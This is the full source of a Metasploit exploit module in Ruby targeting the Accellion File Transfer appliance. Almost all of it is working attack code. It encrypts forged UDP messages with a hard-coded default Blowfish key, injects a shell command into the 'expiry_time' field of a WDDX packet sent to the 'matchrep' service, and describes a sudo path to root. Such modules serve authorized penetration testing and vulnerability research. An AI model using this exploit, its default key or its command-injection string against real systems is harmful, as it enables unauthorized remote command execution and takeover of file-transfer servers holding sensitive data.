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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'openssl'
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require 'rexml/element'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::Udp
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Accellion FTA MPIPE2 Command Execution',
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        'Description' => %q{
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          This module exploits a chain of vulnerabilities in the Accellion
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          File Transfer appliance. This appliance exposes a UDP service on
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          port 8812 that acts as a gateway to the internal communication bus.
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          This service uses Blowfish encryption for authentication, but the
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          appliance ships with two easy to guess default authentication keys.
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          This module abuses the known default encryption keys to inject a
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          message into the communication bus. In order to execute arbitrary
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          commands on the remote appliance, a message is injected into the bus
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          destined for the 'matchrep' service. This service exposes a function
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          named 'insert_plugin_meta_info' which is vulnerable to an input
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          validation flaw in a call to system(). This provides access to the
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          'soggycat' user account, which has sudo privileges to run the
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          primary admin tool as root. These two flaws are fixed in update
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          version FTA_8_0_562.
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        },
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        'Author' => [ 'hdm' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['OSVDB', '71362'],
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          ['OSVDB', '71363'],
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          ['URL', 'http://www.rapid7.com/security-center/advisories/R7-0039.jsp'],
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        ],
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        'Platform' => ['unix'],
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        'Arch' => ARCH_CMD,
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        'Privileged' => true,
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        'Payload' => {
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          'Space' => 1024,
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          'DisableNops' => true,
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          'Compat' =>
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                        {
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                          'PayloadType' => 'cmd',
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                          'RequiredCmd' => 'generic perl ruby telnet',
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                        }
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        },
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        'Targets' => [
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          [ 'Automatic', {} ]
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        ],
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        'DefaultTarget' => 0,
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        'DisclosureDate' => '2011-02-07',
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(8812),
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        OptString.new('APPID', [true, 'The application ID (usually 1000)', '1000'])
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      ]
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    )
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  end
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  def exploit
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    connect_udp
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    appid = datastore['APPID']
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    encoded_command = REXML::Text.new(payload.encoded).to_s
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    wddx = %Q|
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<wddxPacket version='1.0'>
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<header/>
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<data>
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  <struct>
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    <var name='50001'><string>insert_plugin_meta_info</string></var>
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    <var name='file_handle'><binary length='9'>MDAwMDAwMDAw</binary></var>
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    <var name='aid'><string>#{appid}</string></var>
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    <var name='client_ip'><string>127.0.0.1</string></var>
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    <var name='package_id'><string>1</string></var>
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    <var name='recipient_list'><array length='1'><string>#{Rex::Text.rand_text_alphanumeric(8)}</string></array></var>
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    <var name='expiry_time'><string>&apos;; #{encoded_command}; #&apos;</string></var>
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  </struct>
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</data>
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</wddxPacket>|
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    packet = [
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      rand(0xffffffff),	# Source Location ID
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      8888,	# Destination Location ID
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      rand(0xffff),	# Source Application
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      50001,	# Destination Application (matchrep)
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      Time.now.to_i
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    ].pack("NNnnN") + wddx
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    header = [
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      0,		# Flags
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      0,		#
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      1,		# Sequence Number (must be the lowest seen from Source ID)
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      33		# Execute (pass message to destination)
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    ].pack("CCNC") + packet
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    data = [ simple_checksum(header) ].pack("n") + header
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    enc = blowfish_encrypt("123456789ABCDEF0123456789ABCDEF0", data)
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    udp_sock.put("\x01" + enc)
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    handler
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    disconnect_udp
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  end
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  def simple_checksum(data)
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    sum = 0
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    data.unpack("C*").map { |c| sum = (sum + c) & 0xffff }
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    sum
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  end
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  #
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  # This implements blowfish-cbc with an MD5-expanded 448-bit key
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  # using RandomIV for the initial value.
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  #
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  def blowfish_encrypt(pass, data)
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    # Forces 8-bit encoding
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    pass = pass.unpack("C*").pack("C*")
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    data = data.unpack("C*").pack("C*")
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    # Use 448-bit keys with 8-byte IV
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    key_len = 56
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    iv_len = 8
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    # Expand the key with MD5 (key-generated-key mode)
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    hash = OpenSSL::Digest::MD5.digest(pass)
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    while (hash.length < key_len)
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      hash << OpenSSL::Digest::MD5.digest(hash)
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    end
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    key = hash[0, key_len]
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    iv = Rex::Text.rand_text(iv_len)
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    c = OpenSSL::Cipher.new('bf-cbc')
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    c.encrypt
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    c.key_len = key_len
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    c.key = key
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    c.iv = iv
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    "RandomIV" + iv + c.update(data) + c.final
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  end
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end
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